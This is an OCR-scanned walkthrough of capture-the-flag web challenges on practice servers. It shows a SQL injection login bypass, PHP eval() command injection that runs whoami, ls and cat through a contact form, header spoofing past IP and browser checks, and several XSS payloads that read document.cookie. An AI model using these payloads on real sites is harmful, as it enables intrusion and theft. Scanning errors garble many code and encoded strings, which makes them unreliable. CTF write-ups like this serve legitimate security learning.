Tried to check robots.txt but it had nothing useful from there, next I went
to examine the source codes and found hard coded credentials on the web

site.
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<lmmmmmm Include the above in your HEAD tag ==-=-=-=--===- >
<l--
<link rel="dns-prefetch" href="https://fonts.gstatic.com">

<link href="https://fonts.gocogleapis.com/css?family=Raleway:300,400, 600" rel="stylesheet" type="text/css">

onts ——>

<!-— Bootstrap CS5S ——>

<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css">

<title>easy access</title>
</head>
<!-—-us

<body style= hé;ght}guto;margln:ﬂ auto;padding:0 auto ;">

Logging in the page and see the page says only the admin can see the flag,
intercepted the traffic using burp and there was nothing that I could tamper

with to try and exploit the page

Only admin can see the flag

Went back to the page and tried to use SQL Injection on the page to try
and exploit it, I inserted the payload on the username and anything on the
password cause it won’t affect anything due to the -- - which is going to

ignore everything else after.
Login

username "OR1---

Password e

Remember Me

Forgot Your Password?

After executing the payload we get a welcome as admin and see the flag

flag{Injection_3v3ry_wh3r3}
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13. Easy Message

Challenge Name: Easy Message

jRCIG DL Web Security easy (OGE\GONAEN 2 years ago

[2] Challenge Description

| Have a Message for you.

http://35.240.62.111/easymessage/

The next challenge was called Easy Message which had a description of “I
have a message for you” going to the link that was provided I found it was

a login page.

£ 35.240.62.111

Please sign in

Usemar

Going through the source page there was nothing interesting, inspected element and there
was nothing interesting there too, | decided to go and do a directory brute force and found
there was a robots.txt available and which | viewed the path and found there was an

interesting file path called source as shown below.

© & 35240.62.111

User-agent: *

Disallow: /?source
Though the folder says disallowed but what may be disallowed doesn’t mean its actually not
accessible, so | went, and copy pasted the path to the URL and found the source code of the

login page.
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The code basically says that the username and password are the same which are basically

encoded in base64 as shown in the image below.

© %4 35.240.62.111

<?php
suser = $ POST['user'];
$pass = § POST['pass'];

include( 'db.php');

if ($user = base64_decode ([Q31IZNITVCE<ZWS0" ] && $pass = base64 decode [[Q311ZxItVCE<Zy50" |
{

success_login();
}
glse {

failed login(]);

7=

Next, | took the base64 value from the code and decoded it got the username and password

to be Cyber-Talent

Decode from Base64 format
Simply enter your data then push the decode button

Q3NZXIMVGFsZWS0

@ For encoded binaries (like images, documents, etc.) use the file upload form a bit further down on this page.
UTF-8 :l Source character set.
Decode each line separately (useful for multiple entries).

@ Live mode OFF Decodes in real-time when you type or paste (supports only UTF-8 character set).

< DECODE > Decodes your data into the textarea below.

Cyber-Talent
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| used the credentials to login the website and once | was in | had found that there was a

Moores code left on the page

©U & 35.240.62.111

= aTes 2™ ® T mr Teras . . . LTI . BT Taaer™ 2T 2Te wee™" Taass T T ===

| took the mores code and went to an online decoder and decoded the Moores message and

finally | obtained the flag.

@ dcode.fr/morse-code * O om ’ﬂ + 0!
ube @ Metasploit Unleash... ' LinuxCommand.org.. &9 Msfconsole Comma... 3 OCnline JavaScript b...
L8
A | R MORSE CODE L oo
Communication System : Telecom : Morse Code & Leer en Espariol

MORSE CODE TRANSLATOR Summary a8

MORSE CIPHERTEXT TO CONVERT
B e Tt e m = =L + Morse Code Translator

» Morse Encoder
» How to encrypt using Morse
Results @ a s x Code cipher?

@ y + How to decrypt Morse Code

Search for a tool
SEARCH A TOOL ON DCODE BY KEYWORDS:
e.g. type caesar co

/4 © =unknown character

11 a0 (@ DETECT AUTOMATICALLY LONG AND SHORT CHARACTERS CIptiets
() USE THE FOLLOWING 2 CHARACTERS FOR SHORT AND LONG: | - ) A= D
Coymi IRFTAEEHTETANTHTETDTHNNGTHTTNGT Code ciphertext?
)=
EE TRANSLATE MORSE » How to write Morse Code?
( -.)=1(.) ETETLNITNRR@FRGRAAETFGETTFIE + How to decipher audio MP3
(- )=(.) TETEYAMEAKK@QK@KNNTEQ@TEEQMT CASE OF A MESSAGE WITH - AND . ONLY (NO SPACE) Morse?
MKQENT (QETENAE QETEWE @AAPEDEEA TRY... (@) ALL COMBINATION OF MORSE LETTERS ONLY + How to decipher Morse
G ==l SETT ALL COMBINATION OF MORSE CHARACTERS without spaces?
E’ - D= () pLAG(I,KN_OW,VOU,AR}MOR;;) ‘ (O TO INTEGRATE A COMMON WORD FROM DICTIONARY » What are the variants of the
s Je=(~) QyWuEM‘RAgn'LSG'ngllgkggv- v DICTIONARY = dCode ENGLISH Dicticnary (common words) LR ERTT

+ Whatis the mountain Morse

#R ARARIT LLARFE WITHALIT FFRLRATAR
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14. Encrypted Database

Challenge Name: Encrypted Database

1z Category: Web Security easy Created At: JERVEELEEL o)

[2] Challenge Description

The company hired an inexperienced developer, but he told them he hided the database and have it encrypted so the website is totally secure, can
you prove that he is wrong 77

http://34.77.37.110/fencrypted-database/

The next challenge was called Encrypted Database which had a description
of “the company hired an inexperienced developer, but he told them the
database, and have it encarypted so the website is totally secure, can you prove
that wrong” going to the link that was provided I found it was a website

with an image of a track.

© & 347737110

Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MSFU @ Hack The Box:: Dashb.. E5 ONLINE TOOLS

TopTradingCompany Website

Home - About - News - Contact Us

Bt

Going through the page and there was nothing interesting nothing interesting there so | had

to view the source page.
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View the source page | had seen a link which was of potential interest, it had a path called

secret-admin which had some css codes.

<« ¢ o a /-source: 4.77.37.110//encrypted-database/

Kali Training Kali Tools « Kali Docs Kali Forums NetHunter || Offensi ecurity ) t-DB GHDB ]| MSFU @ Hack The

<!DOCTYP
<html la
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge"=
<meta name="viewport" conmtemt="width=device-width, initial-scale=1"»
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<title>Welcome</title>

<!-- Bootstrap --»

<link rel="stylesheet" hrefi'se(ret—admln[aﬁsets,‘_’style.(55": '

<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!--[if 1t IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min. js"=</script>
<script src="https://oss.maxcdn.com/respend/1.4.2/respond.min. js"></script>

Going to the secret-admin path and we found ourselves with a login page.

34.77.37.110/encrypted-database/secret-admin/

Please login

Username Username

Password Pa

Sign in

Viewing the source code, | found another path which was called hidden-database/db.json and

this was the database that the inexperienced developer said it was secured.

<div class="container” style="padding-top:158px;">
<div class="panel panel-default"=
<div class="panel-heading"> Please login </div>
<div class="panel-body">
<div class="alert alert-danger">Login Failed</div>
<form class="form-horizental” methed="post" action=""=>
<div class="form-group">
<label for="username" class="col-sm-2 control-label">Username</label>
<div class="col-sm-10">
<input name="username” type="text" class="form-control” id="username” placeholder="Username">
</div=
</div>
<div class="form-group">
<label for="password" class="col-sm-2 control-label">Password</label>
<div class="col-sm-18">
<input name="password" type="password" class="form-control" id="password" placeholder="Password"=
</div=>
</div>
.

<input type="hidden" name="db" ualu{"hidden—database.’lfdb.]'son" g
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Going to the path of the database and we found the flag, inserting it to the hash identifier in

kali linus and it said it was an MD5 cryptographic algorithm.

= c @

Kali Training Kali T * Kali Docs Kali Forums NetHunter | Offi curity xploit-DB GHDB || MSFU & Hack The Box

flag: "ab0e@376573424bfBe2c8d1d69762d72c"

Decrypting the MD5 and we got our flag as shown in the image below.

Md5 hash digest Md5 digest unhashed, decoded, decrypted, reversed value:

ab GELLLY

Iy Copy Hash Iy Copy Value

Blame this record
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15. Got control

Challenge Name: Got Controls

1= Category: Web Security easy

o5 Tries: 406 Times (2) Solved: 349 Times

[2) Challenge Description

We believe we made a good job protecting our infrastructure, can you bypass our controls.

http://35.197.254.240/gotcontrol/

The next challenge was called Got Control which had a description of “we
believe we made a good job protecting our infrastructure, can you bypass our
controls” going to the link that was provided I found it was a page which
stated that “sorry your ip is not allowed, this server is only accessible from

local machine or local LAN as shown in the image below

&« C @ © £ 35.197.254.240/gotcontrol/

Sorry, your IP is not allowed, this server is only accessible from local machine or local LAN.

Looking at the source code of the page and there was nothing there, looking
at the message it says its only accessible from the local machine which means
127.0.0.1 or localhost. Basically, we are dealing with headers Next step we
need to use user IP where I googled “http header to get user ip” and got
information about X-FORWARDED-FOR header which is basically a de-
facto  standard header for identifying the originating IP address of
a dient connecting to a web server through an HTTP proxy or a load

balancer
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To use this header all you have to do is on burpsuite you type X-

Forwarded-For: 127.0.0.1 in the request header as shown below

Request

Pretty IGEIUE ‘\n Adtions v

1 bET fgotcontrol/ HTTP/1.1

2 Host: 35.197.254.240

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xE4; rv:84.0) Gecko/Z0100101 Firefox/84.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */*;q=0.8

S Accept-Language: en-US,en;q=0.5

€ Accept-Encoding: gzip, deflate

Connection: close

2 Upgrade-Insecure-Requests: 1

S Cache-Control: max-age=0

And then you send the request, and we get the flag

Response

2wl Raw Render \n Actions v

L HTTP/1.1l 200 0K

Z Server: nginx/1.10.3 (Ubuntu)

3 Date: Mon, 18 Jan 2021 07:2&:05 GMT

4 Content-Type: text/html; charset=UTF-8
5 Connection: close

€ Allow: GET, POST, HEAD,OPTICNS

7 Content-Length: 55

5 You got me, here's the flag : FLAG{NEVER_TRUST_HEADERS}
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16. Hashable

Challenge Name: Hashable

T Category: RIS RETILY E Level: medium

1562 Times 1047 Times

B Challenge Description

A famous enterprise blog was hacked, can you figure out how it was hacked?
. http://ec2-35-158-236-11.eu-central-1.comp
¢ Link:
ute.amazonaws.com/hashable/

The next challenge was called Hashable which had a description of “A
famous enterprise blog was hacked; can you figure out how it was hacked?”

going to the link that was provided I found it was a website

236-11.eu-central-1.compute.ar

Hashable HOME ABOUT CONTACT

Hashable

A tech blog

Going through the tabs that were available all had nothing of interest except contact. | found

a form which was the main point of entry into the website.

Name

Email Address

tesy@gmail.com

fviessaad

test
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Sending the request to burpsuite, | initially inserted single quotes and later double quotes to
see what response | would get and with the double quote the page returned with an error as

shown on the below image.

Error in: /var/www/html/Hashable/contact.php(27) : eval()'d code
Message: syntax error, unexpected ", expecting '," or ')’

You can notice that the page makes use of the eval() function which pose a threat to a website,
from this we know we can test for code injection. Code injection is the exploitation of a
computer bug that is caused by processing invalid data. Now we can inject a code that will

show who the user is in the server.

Request

_[ Raw T Params T Headers T Hex ]

POST shashable/contact.php HTTR/1.1

Host: ec2-35-158-236-11.eu-central-1.compute.amazonaws. com

User-Agent: Mozilla/5.0 (X¥11; Linux xB86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,¥/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip., deflate

Referer: http://ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/hashable/contact . php
Content-Type: application/x-www-form-urlencoded

9 Content-Length: &0

10 Connection: close

11 Upgrade-Insecure-Requests: 1

1z

13 name=&email=test%40gmail . com&message=test$isystem| "whoami®)}

[MELE RS

And we got a respond as shown in the below image meaning that the exploit will work.

Response

J Raw T Headers T Hex I Render ]

&7 =fdiv=

(1] <fdiv=

[3=] </header=

)

71 <!-- Main Content --=

72 =div class="container"=

73 P ERTE Y i”r'n L™

74 | . www - data !

75 sent ! =div class="col-1g-8 col-md-10 mx-auto"=
76 =p=

Want to get in touch? Fill out the form below to send me a message and I wil
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Next, we injected a code that list all files in the server directory as shown below

Request

_[ Raw T Params T Headers T Hex ]

1 POST fhashable/contact.php HTTP/L.1
Z Host: ec2-35-158-238-1l.eu-central-1.compute.amazonaws.com
3 User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
4 Accept: text/shtml,applicationsxhtml+xml,applicationsxml;:g=0.9,%/%;g=0.8
5 Accept-Language: en-US,en:g=0.5
& Accept-Encoding: gzip, deflate
7 Referer: http://ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/hashable/contact.php
& Content-Type: application/x-www-Torm-urlencoded
9 Content-Length: 56
10 Connection: close
11 Upgrade-Insecure-Requests: 1

13 name=&email=test%40gmail .com&message=test${system| "1s}' )}

And we got the list of files as shown below and one of the files was the flag

Response

_J Raw T Headers T Hex T Render]

'Y J0
71 =!-- Main Content --=
72 =div class="container"=
73 P R R Y i"r'n L™
74 about . php
contact .php
Css
flag_23894ABCKl.txt
footer.php
ORIy S -, R

Then we had cat the flag using the code we had injected as shown in the image below

Request

_[ Raw T Params T Headers T Hex ]

1 POST fhashablescontact.php HTTR/1.1
2 Host: ec2-35-158-236-11.eu-central-1.compute.amazonaws. com
2 User-Agent: Mozilla/5.0 (¥11: Linux xB5_64; rvi6B. 0] Gecko/20100101 Firefox/6B.0
4 Accept: text/html,applications/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
5 Accept-Language: en-US,en;g=0.5
& Accept-Encoding: gzip., deflate
7 Referer: http://ec2-35-158-236-11 eu-central-1.compute.amazonaws.com/hashable/contact.php
& Content-Type: application/x-www-form-urlencoded
2 Content-Length: 77
10 Connection: close
11 Upgrade-Insecure-Requests: 1
12

13 name=&email=test%40gmail . com&message=testf{systemi"cat flag_23894ABCK1.txt")}

And we finally got the flag.

Response

_[ Raw T Headers T Hex T Render ]

e

<span class="subheading"=Have questions?
=/div=
=fdiv=
<fdiv=
<fdiv>
=/header=

<!-- Main Content --=
=div class="container"=
. gt a

18abh51fo960bdl49bch2457b 9998 752C
ESSage SUCCESSTULLY Sent! <div class="c
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17. Search for the cookie

Challenge Name: Searching for the cookie

Tz Category: Web Security g Level: medium [ Created At: [JERVEEICERT
866 Times () Solved: 628 Times [ Points: 100

[2) Challenge Description

simple search website we need to know which cookie to eat ;)

http://34.77.37.110/searching-cookie/

The next challenge was called Searching for the cookie which had a
description of “simple search website we need to know which cookie to eat

:)” going to the link that was provided I found it was a website

Cookie Search Engine

keyword Search

Abernethy

Aachener Printen Acibadem

kurabiyesi
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The website had one entry point which is the search tab, and it was where
[ was going to attack first. I executed a XSS payload on the page and the

payload was not successful

Cookie Search Engine

keyword Search

you searched for: <script>alert(1)</script>

Aachener Printen BRI Acibadem

kurabiyesi

Looking at the source code I noticed that the search function is
implemented using JavaScript and the malicious script we had send from
the search bar was placed inside that script hence we conclude that it is a
DOM Based XSS, I had to know how to inject your script so I can exploit
the bug

<script>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!"'".r
</script>
<script>var currentSearch = {'keyword':'you searched ‘Fnr‘:i<s(r‘ip‘t>alert(1)< 5(r‘ipt>'};|¢/s[ript>

</head>

<body>

<div class="container" style="padding-top :18epx; ">
<div class="row">
<div class="col-sm-8 col-sm-offset-2">
<h1>Cookie Search Engine</h1>
<form class="form-inline" method="get">
<div class="form-group" style="width:90%;">
<input style="width: 85%;" type="text" name="s" class="form-control" id="exampleInputName2" placeholder="keyword">
<fdiv>
<button type="submit" class="btn btn-default">Search</button>
</form>
<hr />
<h2 class="text-center">
you searched for: &lt;scriptlgt;alert(1)&1t;/scriptégt; </h1l>
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in order to pop up the cross-site script we needed to come up with a payload
that would bypass the script and pop up the alert. I tried using end scripts

with an opening script as shown below

Cookie Search Engine

</script><script>alert(1)</script> Search

you searched for: <script>alert(1)</script>

Abernethy

Aachener Printen Acibadem

kurabiyesi

It eventually popped up an alert as shown in the image below

A7.37. searching-cookie/fs=< script> <script>alert% 029 <%2Fscript>
34.77.37.110/ hing kie/? %2Fscrip ipt>alert%281%29 < %2Fscrip vr

Unleash...

| 3477.37.110 says

1

Since the challenge 1s asking to exploit the cookie then we are going to use

the document.cookie payload
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Executing the new payload as shown below

Cookie Search Engine

</script><script>alert(document.cookig])</script> Search

We managed to pop up the alert and we obtained the flag

34.77.37.110/searching-cookie/?s=<%2Fscript> <script>alert%28document.cookie%29 <%2Fscript > W ®

Jnleash... nsole
34.77.37.110 says

x=try+to+execute+some+js+; flag=coolcookie112
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18. Secret browser

Challenge Name: Secret Browser

LR ICH I Web Security medium

@ Challenge Description

362 Times

The company employees is using company special browser to view the website content.

http://35.197.254.240/secret-browser/

The next challenge was called Secret Browser which had a description of
“The company employees is using spedal browser to view the website
content” going to the link that was provided I found it was a website that

stated that I am not using the company browser.

< > C O 8 35.197.254.240/secret-browser/

Welcome Guest , your are not using our company browser

Inspecting the code and found the company name PublicTradeCo

< > C & view-source:http://35.197.254.240/secret-browser/

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>PublicTradeCo company for trading</title>

[ intercepted the request that was supposed to be send to the server and
added the header User-Agent and company name PublicTradeCo as shown

below
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I GET /secret-browser/ HTTP/1l.1

Z Host: 35.197.254.740

: User-Agent: PublicTradeCol

4 Accept: text/html application/xhtml+xml, application/xnl;q=0.9, inage/w
5 Accept-Language: en-US,en;q=0.5

¢ Accept-Encoding: gzip, deflate

Connection: close

© Upgrade-Insecure-Requests: 1

5 Cache-Control: max-age=0

And the request was sent successfully and got the welcome employee message but
unfortunately, we had to look for the flag since it was not on the home page of the website as

shown below

< > C O & 35.197.254.240/secret-browser/ % Q search

Welcome employee , the flag you are looking for is here somewhere

After several hours of looking for the flag, | had found the flag as shown below

I HTTP/1.1 200 OK

Z Server: nginx/1.10.3 (Ubuntu)

3 Date: Thu, 01 Jul Z0Z1 09:01:40 GMT

4 Content-Type: text/html; charset=UTF-8
5 Connection: close

€ x-flag: W3lcomeCOmpanyUs3R

7 Allow: GET, POST, HEAD,CPTIONS

© Content-Length: 1408
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19. Ugame

Challenge Name: uGame

[FRECICe L Web Security easy
358 Times (~)) Solved: 262 Times

@ Challenge Description

we are creating a new social media app for gaming , make sure its secure enough.
£ Link: http://ec2-35-158-236-11.eu-central-1.comp
Bl ute.amazonaws.com/gamebook/

The next challenge was called Ugame which had a description of “we are
creating a new sodal media app for gaming, make sure its secure enough”
going to the link that was provided I found it was a website with only one
entry point which is the username area. I typed in the test and the website

reflected the name on the page as shown below.

& > C O 8 ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/gamebook/ %  Q search
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Next, [ tried to perform XSS to see how the website would react, I inserted

the payload and sent the request

w Q search

e > C O 8 ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/gamebook/

T —

And from the result seems that there is a filter in the backend that’s which
filtered the word script, so we need to find a bypass of the filter which was

the one as shown below.

G N O 8 ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/gamebook/ @2 Q search

| <img src=x onerror=alert(1)>| ‘
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Upon execution of the new XSS payload I managed to get the flag as shown

below.

& > C O 8 ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/gamebook/ % Q search
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20. X corp

Challenge Name: x corp

L RCICHLL Web Security easy

276 Times

o Tries: 426 Times

B Challenge Description

X corp made a new filtration for input data, prove it is secure enough
: http://ec2-35-158-236-11.eu-central-1.com
£52 Link: P ; P
ute.amazonaws.com/xcorp/

The next challenge was called x corp which had a description of “X corp
made a new filtration for input data, prove it is secure enough” going to the
link that was provided I found it was a website looking around the website

there wasn’t anything useful, so I decided to play with the input.

O & ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/xcorp/

Opssss
| submit |
| typed in bring me home to see what will happen
O 8 ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/xcorp/
Opssss

‘bring me home

| submiit |
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Sending the request, it returns the below image as shown

O & ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/xcorp/?name=bring+me+home
p P 9

Opssss

| submit |

Viewing the source code, we notice that our input is replaced into the alt
attribute for the img tag, and we can draw a conclusion that this could

potentially be a XSS vulnerability.

= e Q2 view-source:http://ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/xcorp/?name=bring+me+home

<center><span> <img style='width:20%;" srcz'./759511.jgg' alt='bring me home >
</span>

<IDOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<title>X Company</title>

<!-- Bootstrap -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sh

1 decided to send the following payload test'onload=alert(1) The onload
attribute 1s an event handler which will execute the alert(1) on the loading

of the html page and after sending the payload we got the flag.

O 8 ec2-35-158-236-11.eu-central-1.compute.amazonaws.com/xcorp/?name=test onload%3Dalert(1) % Q search

@ ec2-35-158-236-11.eu-central-1.compute.amazonaws.com
flag : Flag{X55_D4mn_G0OD}
S

\:\ Don't allow ec2-35-158-236-11.eu-central-
1.compute.amazonaws.com to prompt you again




